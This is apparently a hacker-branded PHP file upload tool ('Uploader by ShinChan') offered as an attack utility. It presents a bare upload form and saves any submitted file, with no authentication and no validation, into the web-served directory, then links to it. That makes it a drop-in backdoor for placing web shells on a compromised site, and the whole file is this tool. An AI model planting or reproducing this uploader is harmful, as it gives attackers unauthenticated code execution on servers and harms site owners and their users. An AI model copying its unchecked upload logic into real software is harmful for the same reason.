Uploader PHP by ShinChan

<html>
<head>
<title>Uploader by ShinChan</title>
<style type='text/css'>
body{
    background-color:black;
    font-family:impact;
    color:white;
    margin-top:20px;
    text-align:center;
}
</style>
</head>
<body>
Uploader by ShinChan - N45HT.WEB.ID
<br>
Discovering and Exploiting Security Flaws
<br><br><br><br>
<?php
if(isset($_POST['Submit'])){
$filedir = "";
$maxfile = '2000000';

$userfile_name = $_FILES['image']['name'];
$userfile_tmp = $_FILES['image']['tmp_name'];
if (isset($_FILES['image']['name'])) {
$abod = $filedir.$userfile_name;
@move_uploaded_file($userfile_tmp, $abod);

echo"<center>Success ==> <a href='$userfile_name' target='_blank' style='text-decoration:none;'>$userfile_name</a></center>";
}
}
else{
echo'
<form method="POST" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
<br><br><br><br>
ShinChan0x1945@gmail.com
</body>
</html>